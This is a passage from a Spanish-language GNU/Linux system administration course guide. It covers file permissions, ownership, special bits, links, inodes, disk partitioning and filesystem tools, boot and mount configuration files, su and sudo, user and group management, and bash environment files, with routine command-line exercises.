Verifica los los permisos del archivo.[deivy@deivy ~]$ ls -l prueba.txt

Verifica los permisos del mismo archivo.[deivy@deivy ~]$ stat prueba.txt

Cambia los permisos del archivo que solo pueda ser leído no modificable ni ejecutable por el usuario grupo o otros.[deivy@deivy ~]$ chmod 444 prueba.txt

Trata de modificar el archivo.[deivy@deivy ~]$ cat > prueba.txt

Agrégale permiso de escritura al usuario en el archivo.[deivy@deivy ~]$ chmod u+w prueba.txt

Ahora modifica el archivo prueba.txt.[deivy@deivy ~]$ cat > prueba.txt

#!/bin/bash clear N=0 while [ $N -lt 10 ] do sleep 1 let N=N+1 echo $N done exit0

Una vez este modificado el archivo prueba.txt visualiza su contenido.[deivy@deivy ~]$ cat prueba.txt

Quita el permiso de lectura al archivo prueba.txt.[deivy@deivy ~]$ chmod u-r prueba.txt

Diplomado de GNU/Linux102

Page 103: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Verifica a ver si puedes visualizar el contenido del archivo.[deivy@deivy ~]$ cat > prueba.txt

Ejecuta el archivo con ./[deivy@deivy ~]$ ./prueba.txt

Debido a que el resultado anterior el cual fue negativo, ahora asignale permiso de ejecución.[deivy@deivy ~]$ chmod +x prueba.txt

Ejecuta nuevamente el archivo con ./[deivy@deivy ~]$ ./prueba.txt

chown permite cambiar el propietario del archivo en sistemas tipo UNIX. Puede especificarse tanto el nombre de un usuario, así como un número de identidad de usuario (UID) y el nombre de grupo o (GID) numérico del grupo. Opcionalmente, utilizando un signo de dos puntos (:), o bien un punto (.), sin espacios entre ellos, entonces se cambia el usuario y grupo al que pertenece cada archivo.

Crea un directorio llamado dir1.[deivy@deivy ~]$ mkdir dir1

Verifica el propietario de este directorio.[deivy@deivy ~]$ stat dir1

Cambia el propietario del directorio a root.[deivy@deivy ~]$ su -c "chown root dir1" <Para Red Hat>[deivy@deivy ~]$ sudo chown root dir1 <Debian>

Verifica que todo a salido con éxito.[deivy@deivy ~]$ stat dir1

Debido a que este directorio es propiedad de root usted no tiene permisos suficientes, por lo que utilizaremos su -c o sudo dependiendo su entorno de trabajo. Luego de haber realizado el ejercicio anterior crea un subdirectorio llamado dir2.[deivy@deivy ~]$ su -c mkdir dir1/dir2[deivy@deivy ~]$ su -c mkdir dir1/dir2

Cambiemos el propietario de forma recursiva del directorio principal así como del subdirectorio.[deivy@deivy ~]$ su -c "chown -R estudiantes dir1" <Para Red Hat>[deivy@deivy ~]$ sudo chown -R estudiantes dir1 <Debian>

Dentro del sub-directorio, crea un archivo llamado test.txt[deivy@deivy ~]$ touch dir1/dir2/test.txt

Cambia el propietario y el grupo del archivo test.txt a root.[deivy@deivy ~]$ su -c "chown -R root:root " dir1/dir2/test.txt <Para Red Hat>

Diplomado de GNU/Linux103

Page 104: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

[deivy@deivy ~]$ sudo chown -R root:root dir1/dir2/test.txt <Debian>

Comprueba se a realizado todo bien.[deivy@deivy ~]$ stat dir1/dir2/test.txt

chgrp permite cambiar el grupo a un archivo o directorio, el usuario root te permite cambiar cualquier grupo a un archivo, los demás usuario solo pueden hacerlo con los archivos propios y grupos a los que pertenezca.

Crea un archivo llamado test2.txt.[deivy@deivy ~]$ touch test2.txt

Verifica el grupo a que pertenece el archivo test2.txt.[deivy@deivy ~]$ stat test2.txt

Verifica que el grupo audio exista.[deivy@deivy ~]$ grep -i audio /etc/group

Cambia el grupo del archivo test2.txt al grupo audio.[deivy@deivy ~]$ su -c "chgrp audio test2.txt" <Para Red Hat>[deivy@deivy ~]$ sudo chgrp audio test2.txt <Debian>

Verifica que todo a salido con éxito.[deivy@deivy ~]$ stat test2.txt

Crea varios archivos dentro del directorio dir2.[deivy@deivy ~]$ cd dir1/dir2; touch arch1 arch2 arch3; cd

Verifica su estadística para ver a que grupo pertenecen los archivos creados. [deivy@deivy ~]$ stat dir1/dir2/arch*

Cambia el grupo de cada unos de estos archivos.[deivy@deivy ~]$ su -c "chgrp audio /dir1/dir2/*" <Para Red Hat>[deivy@deivy ~]$ sudo chgrp audio /dir1/dir2/* <Debian>

1.4 Sticky bit, SUID y SGID

Setuid y SetgidCada proceso tiene un (R)UID, (R)GID, EUID, y EGUID. Cada archivo tiene un UID y un GID owner.El comando 'chmod 4000' pone el bit setuid . Esto hace que el proceso que ejecuta este comando temporalmente cambie su EUID tomando el valor UID del archivo. Es decir el proceso sufre un cambio de personalidad y se convierte en la persona que figura como propietaria de ese archivo. Para ello lógicamente ese archivo deberá ser un ejecutable, por ejemplo el comando passwd sirve para cambiar la clave. Se trata de un comando propiedad de root con setuid. Por lo tanto mientras estamos ejecutando este comando adoptamos la personalidad de 'root'. Gracias a ello se nos permite acceder a la clave para modificarla y gracias a que ese comando no permite hacer nada más que eso se evita que este proceso con personalidad de 'root' pueda hacer otras cosas.

Diplomado de GNU/Linux104

Page 105: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

StickyEl comando 'chmod 1000' pone el bit sticky. Se usa poco y tenía más utilidad en sistemas Unix más antiguos. Sirve para que el proceso permanezca en memoria RAM todo el rato mientras se esté ejecutando. Normalmente cuando muchos procesos usan la memoria RAM se van turnando en su uso y se descargan a disco para ceder su espacio en memoria RAM a otros procesos. Con el uso de este bit se evita la descarga a disco. Es una forma de aumentar la velocidad de ese proceso.En los sistemas operativos modernos de hoy el sticky-bit encendido en un directorio significa que solo el dueño del archivo tiene derecho a borrarlo Directorios públicos con permisos de escritura (w) deben tener el sticky-bit encendido ya que de otra manera todos pueden borrar archivos aunque no sean de ellos. Al encender el bit solamente los dueños podrán borrar sus archivos.

Ej:[root@gnome2 /]#ls -la /tmptotal 80drwxrwxrwt 6 root root 20480 jul 20 22:29 .drwxr-xr-x 6 root root 4096 jul 20 22:28 ..-rw------- 1 gnome2 ged2 264 jul 20 22:20 .gdmfujrEIsrw-rw-rw- 1 root root 0 jul 20 22:20 .gdm_socketdrwxrwxrwt 2 root root 4096 jul 20 22:21 .ICE-unix

[sahirys@gnome2~]$rm -rf /tmp/.ICE-unix/rm: no se puede borrar el directorio “/tmp/.ICE-unix”: Operación no permitida

Aunque el directorio/tmp esta “drwxrwxrwt” con todos los permisos el sticky-bit “t” no solo permite que el dueño “root” borre los archivos.

1.5 Links duros y simbólicos

Enlaces simbólicos (symbolic links). Son archivos que contiene un puntero a otro archivo que podría perfectamente estar en un sistema de archivos distinto. Enlaces rígidos (hard links). Realmente es un único archivo que puede ser visto con distintos nombres dentro de un mismo sistema de archivos. Es decir se pueden observar como si fueran archivos idénticos con el mismo inodo. La información reside en un mismo lugar y lo que ocurra aparentemente en un sitio ocurrirá instantáneamente en el otro lugar. Los enlaces de este tipo no pueden ocurrir entre sistemas de archivos distintos. No todos los sistemas de archivos soportan hard links ya que es un concepto muy ligado a los SO tipo Unix.

El manejo de ambos tipos de enlaces se hace con el comando 'ln'. La creación de un enlace rígido y uno simbólico es muy similar. La diferencia es que para el enlace simbólico tendremos que usar la opción -s.

Crea un archivo llamado enlace.txt, de la salida de /etc/passwd.[deivy@deivy ~]$ cat /etc/passwd > enlace.txt

Creamos un enlace duro del archivo enlace.txt llamado enlace.ln.[deivy@deivy ~]$ ln enlace.txt enlace.ln

Creemos otro archivo llamado enlace2.txt.

Diplomado de GNU/Linux105

Page 106: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

[deivy@deivy ~]$ cat /etc/group > enlace2.txt

Creamos un enlace suave del archivo enlace2.txt llamado enlace2.ln.[deivy@deivy ~]$ ln -s enlace2.txt enlace2.ln

1.6 Inodos

Un inodo es una clave numérica para el acceso al sistema plano de archivos donde cada punto capaz de recibir o entregar información, tiene una única clave. Por eso los distintos enlaces rígidos contienen el mismo valor de inodo. Lo de recibir o entregar información se traduce en chorros de bytes producidos en operaciones de lectura escritura pero estas funciones pese a manejarse siempre igual realizan cosas muy distintas dependiendo del tipo de archivo. Un archivo regular es un almacén de información. Otros tipos de archivos no son meros contenedores de bytes. Por ejemplo los dispositivos especiales de bloques o de caracteres pueden verse como emisores y receptores de bloques o caracteres respectivamente asociados a un dispositivo. Tampoco son meros contenedores de bytes los sockets, enlaces simbólicos, fifos con nombre, etc. Salvo los directorios, todos son capaces de recoger chorros de bytes o de entregar chorros de bytes o ambas cosas a la vez y lo más importante, todos ellos tienen asociado un inodo y al menos un nombre de archivo colgando de alguna parte del sistema de archivos.

1.7 Comandos fdisk, mke2fs, cfdisk, fsck

fdiskEl comando fdisk es usado para crear, borrar y cambiar particiones en un disco.

[root@sarys ~]# fdisk /dev/hda

fdisk lee comandos a través del manejo de menú pulsando una letra por el usuario. Fdisk despliega el siguiente menú:

1.Digite m para un listado de los comandos2.Use p para mostrar las particiones que existen actualmente.3.Use q para salir sin alterar nada.4.Use w para escribir sus cambios

El procedimiento para usar fdisk es el siguiente:1. Cree una partición nueva con el comando n2. Elija si va a ser una partición primaria, extendida o lógica3. Elija el número que se le va a asignar4. El fdisk le preguntara donde poner el principio y el final de la partición5. El tamaño por defecto crea una partición con todo el espacio disponible6. El tamaño deseado puede ser especificado en mega-bytes, Ej., + 250M7. Cambios a la tabla de particiones solo se escriben cuando ejecutas el comando w

cfdiskEs un programa basado en curses, para particionar el disco duro.

mkfs El comando mkfs inicializa un sistema de archivos en una partición nueva. Una importante advertencia al usar mkfs al igual que el fdisk es que toda data en la

Diplomado de GNU/Linux106

Page 107: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

partición se perderá.

Ej:para crear un sistema de archivos ext2 en /dev/hda2:[root@sarys ~]# mkfs -t ext2 -c /dev/h da2

La -t fija el tipo de sistema de archivos a crear, y la -c revisa si el disco tiene bloques defectuosos. El comando mkfs utiliza otros programas para hacer tipos específicos de sistemas de archivos, como lo son mke2fs y mkdosfs.

fsckLos archivos almacenados en una partición de un disco son organizados en un sistema de archivos. Existen varios tipos de sistemas de archivos; los comúnmente disponible en GNU/Linux son los llamados ext y su versión actual disponible es el ext3.Un sistema de archivos contiene un número fijo de inodos. Un inodo es la estructura de data que describe un archivo en un disco. Esta contiene la información del archivo, incluyendo su tipo (archivo/directorio/dispositivo), fechas de modificación, permisos, etc. El nombre de un archivo se refiere a un inodo, no directamente al archivo. Esto permite hard links: muchos nombres de archivos refiriéndose a un mismo inodo. Al pasar el tiempo, sistemas de archivos pueden desarrollar problemas. Se pueden llenar, causar que programas individuales o sistemas enteros fracasen. Se pueden corromper, tal vez por una falla eléctrica o si el sistema se cuelgue. Se pueden acabar los inodos, y si esto sucede no se podrá crear ni archivos y directorios nuevos. Algunas veces sistemas de archivos se corrompen, tal vez hubo una falla eléctrica ó la versión de su kernel tiene algún bug.

El programa fsck revisa la integridad del sistema y puede lograr las reparaciones necesarias para que este continué funcionando como es debido.

El utilitario actualmente tiene dos partes principales:1. Un drive program o interfaces de nombre fsck , el cual maneja cualquier sistema de archivos.2. Un ‘backend program’ o programas de soporte para cada tipo de sistema de archivos.El ‘backend program’ para ext2 es fsck.ext2 , pero siempre es invocado desde el fsck .

El comando fsck es normalmente ejecutado durante el inicio del sistema. Así es que se ejecuta automáticamente si el sistema se apagó incorrectamente. También puede ser ejecutado manualmente de la siguiente forma:[root@gnome~]# fsck /dev/sdb3

Este interactivamente pregunta si deseas reparar los problemas a medida los encuentra. Use la opción -f para forzar la revisión del sistema de archivos, aunque fsck crea que fue desmontado limpiamente. Use la opción -y para automáticamente responder ‘yes’ a todas las preguntas. No es muy buena idea ejecutar fsck sobre un sistema de archivos montado.

1.8 Sistema de archivos distribuidos (DFS)

Un sistema de archivos distribuido almacena archivos en uno o más computadores denominados servidores y los hace accesibles a otros computadores denominados clientes, donde se manipulan como si fueran locales. Existen muchas ventajas en el uso de servidores de archivos: Los archivos están más accesibles si desde varios computadores

Diplomado de GNU/Linux107

Page 108: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

se puede acceder a los servidores y compartir los archivos de una única localización es más sencillo que distribuir copias de los archivos a todos los clientes. Las copias de respaldo y la seguridad son más fáciles de manejar cuando sólo hay que tener en cuenta a los servidores. Los servidores pueden ofrecer un gran espacio de almacenamiento que sería costoso y poco práctico suministrar a cada cliente. La utilidad de un sistema de archivos distribuido se ve claramente cuando se considera a un grupo de empleados que tienen que compartir documentos. Por ejemplo, para compartir programas también es un buen candidato. En ambos casos, la administración del sistema se simplifica.

Sistemas de Archivos Distribuidos basados en Linux son utilizados para centralizar la administración de discos y proveer la facilidad de compartir archivos transparentemente en la red. Paquetes de Linux que proveen Dfs casi siempre incluyen el cliente y el server. Un servidor DFS comparte archivos locales en la red; un cliente DFS monta archivos compartidos localmente. Un sistema Linux puede ser tanto un cliente, un server, o ambos dependiendo en cual comando fue ejecutado.

1.9 /etc/fstab /etc/mtab /etc/inittab

inittabEl archivo /etc/inittab contiene la descripción general del proceso de arranque del sistema. Al terminar de cargarse el kernel, se llama al programa /sbin/init, que es el proceso padre de todos los demás procesos existentes en el sistema. init sigue las instrucciones incluidas en inittab para llevar al sistema a un estado usable,creando los procesos descritos en este archivo.Un runlevel (o nivel de ejecución) es una configuración por software del sistema que permite existir sólo a un grupo seleccionado de procesos. El sistema (por medio de init) está en cada momento en un runlevel concreto. El super usuario puede cambiar el runlevel en cualquier momento ejecutando telinit. Si efectúa cambios al archivo inittab no es necesario para que los cambios surjan efectos, sólo deberá ejecutar el siguiente comando:

[root@gnome2 ~]#init q

o también

[root@gnome2 ~]#telinit q

Estos comandos le ordenan a init que lea su archivo de configuración sin cambiar de runlevel. El comando telinit es un vínculo a init en las mayoría de distros de GNU/Linux de hoy día. Hay ocho runlevels, llamados 0, 1, 2, 3, 4, 5, 6 y S. El runlevel 0 se usa para parar el sistema, el 6 para reiniciarlo y el S o el 1 para ponerlo en modo monousuario. Los demás niveles se utilizan para proporcionar determinado grado de servicios. Por ejemplo, es normal usar un nivel para el uso normal, otro para el arranque automático de XWindow,otro para uso sin red, etc.

Cada línea del archivo esta dividida en cuatros campos separados por dos puntos:

ID Identificador único de la línea hasta 4 caracteres alfanuméricos.Nivel Runlevel que activa este proceso indicado mas adelanteAcción Palabra clave de cómo correr el procesoProceso Nombre completo y parámetros del comando para ejecutar

Diplomado de GNU/Linux108

Page 109: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

En la siguiente tabla se incluyen las palabras claves principales de acción del archivo inittab.

Off No ejecute este comandoWait Ejecute este comando y espere que completeOnce Ejecute este comando y no espereRespawn Ejecute este comando; y si falla, ejecútelo de nuevoSysinit Ejecute el comando durante el primer initBoot Ejecutar el comando al tiempo de arranque y no espereBootwait Como el Boot pero espere que completeCtrlaltdel Ejecute el comando especificado al presionar estas teclasinitdefault Define nivel de arranque por defecto

Al iniciarse, init busca la línea initdefault en el archivo inittab para pasar al nivel por defecto.Ej;

1:2345:respawn:/sbin/getty 38400 tty1Esta línea indica que en los niveles de ejecución 2,3,4 ó 5 debe ejecutarse el programa /sbin/getty (que es el programa que se encarga de pedir el login y el password a los usuarios) con los parámetros 38400 (que indica que espere comunicaciones a 38400 baudios), y tty1 (que indica que escuche en la primera terminal virtual). La palabra clave respawn indica que este proceso debe reiniciarse cuando termine, de forma que cuando un usuario salga del sistema, se vuelva a mostrar el prompt de login para aceptar otro usuario.

Hay que manejar con cuidado el archivo inittab, ya que una modificación indebida del mismo puede dejar al sistema en un estado incapaz de arrancar.

fstabEn la mayoría de sistemas existen otras particiones además de la raíz que son necesarias se monten en el arranque. Estas serán especificadas en el archivo /etc/fstab que contiene todas las informaciones que conciernen el montaje de sus particiones.

#device Direct type options frecuence passe/dev/sda / reiserfs defaults 1 1/dev/sda3 /home ext3 defaults 1 2/dev/sdb1 /boot reiserfs defaults 1 2tmpfs /dev/shm tmpfs defaults 0 0devpts /dev/pts devpts gid=5,mode=620 0 0sysfs /sys sysfs defaults 0 0proc /proc proc defaults 0 0LABEL=SWAP-sda2 swap swap defaults 0 0

Device Nombre de la partición. En el caso de la Swap es el nombre del archivo.Direct Directorio de montaje de la partición.Type Tipo de la partición (sistema de archivo).Options Opciones (solo lectura, lectura y escritura, etc...).FrecuenceCorresponde al numero de días entre dos tratamientos del archivo por la orden dump.

Diplomado de GNU/Linux109

Page 110: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

PasseOrden de test de las particiones(fsck). Si se pone 0 la verificación no se hace al arrancar. Las particiones en un disco se verifican de forma secuencial, si están en discos diferente se realiza de forma paralela.

mtabEl archivo mtab contiene los valores descritos en el archivo ftab para los discos montados actualmente en el sistema.

/dev/sda5 / reiserfs rw 0 0proc /proc proc rw 0 0sysfs /sys sysfs rw 0 0devpts /dev/pts devpts rw,gid=5,mode=620 0 0/dev/sda3 /home ext3 rw 0 0/dev/sda1 /boot reiserfs rw 0 0tmpfs /dev/shm tmpfs rw 0 0none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0/dev/sdb1 /media/SAHIRYS vfat rw,nosuid,nodev,uhelper=hal,shortname=lower,uid=500 0 0

1.10 Practica Administración Capitulo 1

2.0 Administración de Usuarios

El control de los usuarios y grupos es un elemento clave en la administración de sistemas de GNU/ Linux. Los Usuarios pueden ser gente real, es decir, cuentas ligadas a un ser humano, o cuentas que existen para ser usadas por algún software en específico.

2.1 Usuarios y Grupos

Los grupos son conjunto de usuarios (mayormente con abstracción común), que le permiten al administrador tener un control mas fácil y eficiente.

Cada usuario tiene un identificador único UID, y un identificador de grupo respectivamente.

2.2 Cuenta root

Existe un usuario superior a todos llamado root, este usuario tiene control total sobre el sistema y debe de existir en todo sistema GNU algo destacable de el es que su UID es siempre 0.

2.3 Comando su

Hay momentos en que puede ser necesario procesar uno o dos comandos como otro usuario. Es normal que los gestores de sistema tengan este tipo de demanda - ellos (como todos los buenos gestores de sistemas) usan su cuenta personal, sin privilegios especiales, la mayor parte del tiempo. Pero, si una contraseña de usuario necesita ser alterada, o los permisos de un determinado archivo deben ser ajustados, es posible, que no lo puedas hacer, con una simple cuenta de usuario. Estas tareas no llevan más de un minuto, y puede ser un tanto aburrido tener que estar entrando y saliendo, en el

Diplomado de GNU/Linux110

Page 111: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

sistema diversas veces, solamente para ejecutar pequeñas tareas como super usuario. Una salida más sencilla consiste en la utilización del comando su. Con este comando, la sesión actual puede transformarse en la sesión del super usuario o otro usuario. El comando su sin argumentos por defecto es para cambiar al super usuario, pero es posible indicarle a que usuario queremos cambiar.

Cambiemos a super usuario[sahirys@sarys ~]su -password:[root@sarys ~]

Si no ponemos el símbolo de menos (su -) entonces solo estaríamos “disfrazándonos” de ese usuario. Esto sucede porque no cargaría las variables de ambiente del nuevo usuario por tanto las tareas que podríamos hacer en el seria limitada.

[sahirys@sarys ~]$su oracle[oracle@sarys sahirys]$

2.4 Paquete sudo

Sudo es una herramienta de sistema que permite a los usuarios realizar la ejecución de mandatos como super usuario u otro usuario de acuerdo a como se especifique en el archivo /etc/sudoers, donde se determina quien está autorizado. Los números de identidad de usuario y de grupo (UID y GID) reales y efectivas se establecen para igualar a aquellas del usuario objetivo como esté especificado en el archivo /etc/passwd.De modo predeterminado sudo requiere que los usuarios se autentiquen así mismos con su propia clave de acceso (nunca la clave de acceso de root). Una vez que el usuario se ha autenticado, el usuario podrá utilizar nuevamente sudo sin necesidad de volver a autenticarse durante 5 minutos, salvo que se especifique lo contrario en el archivo /etc/sudoers. Si el usuario ejecuta el mandato sudo -v podrá refrescar éste periodo de tiempo sin necesidad de tener que ejecutar un mandato, en cuyo caso contrario expirará esta autenticación y será necesario volver a realizarla.Si un usuario no listado en el archivo /etc/sudoers. trata de ejecutar un mandato a través de sudo, se registra la actividad en la bitácora de sistema (a través de syslogd) y se envía un mensaje de correo electrónico al administrador del sistema (root).

Este paquete consta de las siguientes partes básicas:

sudo: El comando propiamente dicho.sudoers: El archivo de configuración del mismo.visudo: Una aplicación que utiliza nuestro editor de texto por defecto, para que podamos editar el archivo sudoers, y que verifica la integridad del archivo al momento de guardar cambios.

Opciones básicas del comando sudo:-l Lista algo de información sobre el estatus de un usuario en el archivo

sudoers-b Ejecuta un comando dado en segundo plano-u permite a sudo correr un dado comando con otro usuario que no sea root

Diplomado de GNU/Linux111

Page 112: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

sudoersEste archivo el la parte fundamental, para trabajar con lo que es sudo. Aquí debemos de considerar dos partes importantes:

* Definición de alias* Reglas de acceso

2.5 El archivo /etc/passwd

Los usuarios y grupos son almacenados en un conjunto de archivos los cuales son y constan de la siguiente estructura:

/etc/passwd es el archivo que almacena cada usuario en el sistema consta de 7 columnas divididas por dos puntos (:) de la siguiente manera:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin

Descripción de los campos en /etc/passwd son 7 campos

1 – usuario2 - clave -----> /etc/shadow3 - ID usuario4 - ID grupo5 - nombre del usuario6 - directorio home7 - shell que usara el usuario

2.6 Creando un usuario

useraddA la hora de agregar un usuario hay unas configuraciones por defecto que están por sentadas, estas configuraciones se encuentra en el archivo /etc/default/useradd.Archivo que contiene características por defecto que se aplican a un usuario al momento de ser creado.Una manera de ver cual es la configuración por defecto es el comando "useradd -D". Con el podemos ver esta información y claro, si modificamos el archivo, al momento de ejecutar nuevamente el comando "useradd -D" la información sera distinta.

ver la configuración por defecto de los usuarios [ver /etc/default/useradd]root@zxlaptop:~# useradd -D

crear usuario(sin home)root@zxlaptop:~# useradd usuario

crear usuario(con home)root@zxlaptop:~# useradd -m usuario

Crear usuario con fecha de expiraciónroot@zxlaptop:~# useradd -e AAAA-MM-DD usuario

Diplomado de GNU/Linux112

Page 113: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

crear usuario con un shell en especificoroot@zxlaptop:~# useradd -s /bin/ksh usuario

adduserEs un enlace simbólico a useradd.

userdelUtilizado para borrar una cuenta de usuario y archivos relativos.

Eliminar usuarioroot@zxlaptop:~# userdel usuario

Eliminar usuario con homeroot@zxlaptop:~# userdel -r usuario

usermodÚtil para modificar cuentas de usuario.

Bloquear una cuentaroot@zxlaptop:~# usermod -L user

Desbloquear una cuentaroot@zxlaptop:~# usermod -U user

Bloquear una cuentaroot@zxlaptop:~# passwd -l user1

Desbloquear una cuentaroot@zxlaptop:~# passwd -u user1

Cambiar el shellroot@zxlaptop:~# usermod -s /bin/ksh user

Cambiar el Login Nameroot@zxlaptop:~# usermod -l nuevo_user viejo_user

Cambiar el UID de un usuario(el signo de # significa el numero de ID que pondrá)root@zxlaptop:~# usermod -u # usuario

Fecha de expiración para Usuarioroot@zxlaptop:~# usermod -e 2010-08-01 user

Fecha de expiración para Usuariopediría que cambie de clave cada 45 días con advertencia 15 días antesroot@zxlaptop:~# chage -M 45 -W 15 usuario

Cambiar el nombre(nombre de la persona) de un usuario. Presionas la tecla [ENTER] y te pide la informaciónroot@zxlaptop:~# chfn usuario

Cambiar el shell de un user. Presionas la tecla [ENTER] y te pide la información

Diplomado de GNU/Linux113

Page 114: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

root@zxlaptop:~# chsh usuario

Cambiar Home y Mover Archivosroot@zxlaptop:~# usermod -md /home/nuevo-dir user

Cambiar el grupo default de un userroot@zxlaptop:~# usermod -g nuevogrupo user

Agregar un user a un gruporoot@zxlaptop:~# usermod -aG grupo user

Agregar un user a varios gruposroot@zxlaptop:~# usermod -G grupo,grupo,grupo user

Eliminar a un usuario de 1 grupo o variosroot@zxlaptop:~# usermod -G grupo usernota: solo se queda en el que menciono, se borra de los demás

2.7 Creando, cambiando e identificando un grupo

groupaddPermite crear un nuevo grupo.

Agregar un gruporoot@zxlaptop:~# groupadd grupo1

Agregar un grupo forzado(aun si existe)root@zxlaptop:~# groupadd -f grupo1

Agregar un grupo con un GID especifico (el signo de # significa el numero de ID que pondrá)root@zxlaptop:~# groupadd -g # grupo2

groupdelNos permite eliminar una cuenta de grupo.root@zxlaptop:~# groupdel grupo2

groupmodNos permite modificar características de un grupo.

Cambiar el nombre del gruporoot@zxlaptop:~# groupmod -n grupo_nuevo grupo_viejo

Cambiar el ID del grupo(el signo de # significa el numero de ID que pondrá)root@zxlaptop:~# groupmod -g # grupo

groupsNos muestra los grupos a los que un usuario pertenece.

Estos comandos darían salidas distintas.root@zxlaptop:~# groups root@zxlaptop:~# groups alex

Diplomado de GNU/Linux114

Page 115: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

root@zxlaptop:~# groups root

Hay que tomar en cuenta que al igual que el comando passwd tiene su archivo de configuración, el comando groups también lo tiene./etc/groupArchivo que contiene los grupos del sistema, un usuario debe pertenecer a un grupo, por lo menos.

Descripción de los campos en /etc/group1 - nombre de grupo2 - clave -----> /etc/gshadow3 - ID del grupo4 - Miembros del grupo separados por coma(,)

Crea un grupo identificado como group1. [root@deivy ~]# groupadd group1

Comprueba que se haya realizado con éxito. [root@deivy ~]# grep -i group1 /etc/group

Ponle un password al grupo que acabas de crear. [root@deivy ~]# gpasswd group1

Cambia el GID del grupo. [root@deivy ~]# groupmod -g 655 group1

Verifica el GID del grupo. [root@deivy ~]# grep -i group1 /etc/group

Borra el grupo creado. [root@deivy ~]# groupdel group1

2.8 Comando finger

El comando finger muestra el nombre de acceso del usuario, el nombre real, el nombre del terminal y el estado de escritura (como un "*" después del nombre de terminal si el permiso de escritura está denegado), el tiempo parado, la hora de acceso, la localización de la oficina y el teléfono de la oficina. Ej.Para mostrar la información del usuario estudiantes.[root@deivy ~]# finger estudiantes

Muestra la información del usuario estudiantes.

2.9 Archivos personales en /home

Es el directorio personal de cada usuario de donde cuelgan todos los archivos personales de cada usuario. Además se encuentran los archivos de configuración de ambiente como .bashrc y .bash_profile.

~/.bash_profileEl segundo en orden en ser leído por bash. Normalmente poco se mete en este archivo, lo

Diplomado de GNU/Linux115

Page 116: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

mas importante es que indica a bash que lea otros archivos como ~/.bash_login, ~/.profile, ~/.bash_logout

El archivo bash_profile es el archivo de personalización del ambiente de ese usuario en partícula es similar al archivo /etc/profile solo que el profile establece el comportamiento de todos los usuarios y bash_profile personaliza cada usuario, es decir los valores de las variables de ambiente de ese usuario. El archivo .bashrc se utiliza comúnmente para declarar funciones, alias, variables locales a un usuario en particular.

# /etc/bashrc# Funciones y alias para todo el sistema # deben ser colocados en el archivo /etc/profile# Variables locales a este usuario se ponen aquí# Un Prompt PS1 PersonalizadoPS1=”\u@\h:\w\\$”alias lsa = “ls -aF –color|more”alias ll =”ls -l”alias cls=”clear”

~/.bash_loginNormalmente el tercero en ser leído, si existe indica los comandos que correrán al momento de logearse, normalmente, son cosas como indicar la fecha, el nº de usuarios conectados...

~/.profileEquivalente a /etc/profile pero especifico de cada usuario, este archivo es leído por mas shells, aparte de bash. Puede ser leído por shells nologin si estas arrancan con la invocación a sh.

~/.bash_logoutArchivo con opciones para el momento del cierre de un login shell, lo mas habitual es que se incluya el comando clear y nada mas.

2.10 /etc/skel

Es un directorio que contiene archivos de configuración básica para cada usuario, todo archivo existente en este directorio sera copiado automáticamente al agregar un usuario con directorio home.

2.11 /etc/profile

Es el archivo que contiene las configuraciones globales para todos los shells interactivos, puede existir un archivo bash_profile en el home de cada usuario el cual reconfigurara toda la configuración hecha por /etc/profile pero solo para ese usuario.

Es el primero archivo en leerse automáticamente por bash cuando este es invocado en modo login (P.e. las ttys).En este archivo se configuran muchas de las variables de bash (PATH, USER, MAIL, HOSTNAME ...) y otros valores como umask. Resumiendo, en él se incluyen variables generales del sistema.Pero como este archivo es leído por muchas shells, no solo bash, es mejor poner las

Diplomado de GNU/Linux116

Page 117: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

configuraciones de esta en otros archivos específicos.

2.12 Variables de usuario

Una variable es un pequeño pedazo de memoria que se reservará para determinada función y a la que se le va a asignar un valor, el cual podrá ser: un número, una ruta de directorios..., etc.) que podrá ser leído, consultado o incluso modificado.

Tenemos tres tipos de variables: Variables de entorno, que forman parte del entorno o ambiente del sistema.Variables incorporadas, que las proporciona el sistema y no pueden ser modificadascon un programa o el shell.Variables de usuario, las cuales sí se pueden modificar por la shell. Un ejemplo de variable es PATH, que los que en alguna ocasión hayan usado el MS-DOS o el FreeDos ya conocerán, la cual define las rutas que deben ser "miradas" por la shell para buscar órdenes o ejecutables más fácilmente evitando el tener que teclear complejas vías de acceso.

En una sesión de trabajo las variables de entorno en la shell son referencias a valores. Existen dos tipos: locales y globales.Las locales Se definen en la Shell actual y solamente son conocidas por esta en la sesión que esté vigente. Las globales, en cambio, son exportadas desde un proceso activo a todos los procesos hijos.

zxguitar@zxlaptop:~$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

La orden anterior podría estar mostrando un path típico del sistema. Mira con atención el uso del carácter $; el cual Indica el principio del nombre de una variable shell, ya que, sin él, la orden echo de volvería únicamente la cadena de texto pasada a continuación. De manera que siempre que queramos ver el contenido de una variable debemos usar el signo $.

Hay también otras variables de usuario que es importante tener en cuenta como la variable $HOME, $HOSTNAME, $SHELL, $UID, $USER, entre otras.

Cada una de estas variables tienen un valor que varia de usuario en usuario, por ejemplo:

Si ejecuto:zxguitar@zxlaptop:~$ echo $USERzxguitar

Podemos ver que la salida es “zxguitar” que es el usuario de mi maquina, pero si lo hace usted, saldrá el usuario con el que ejecuto el comando.

